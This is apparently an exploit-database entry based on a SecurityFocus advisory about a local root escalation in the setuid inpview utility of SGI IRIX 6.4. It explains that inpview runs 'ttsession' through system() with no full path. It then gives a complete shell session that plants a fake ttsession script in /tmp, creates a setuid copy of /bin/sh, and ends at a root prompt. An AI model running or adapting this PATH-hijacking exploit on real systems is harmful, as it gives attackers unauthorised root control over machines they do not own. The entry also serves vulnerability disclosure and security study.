SGI IRIX 6.4 - 'inpview' Local Privilege Escalation

source: https://www.securityfocus.com/bid/381/info


The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root. 


% cat > /tmp/ttsession
#!/bin/sh
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
^D
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell
#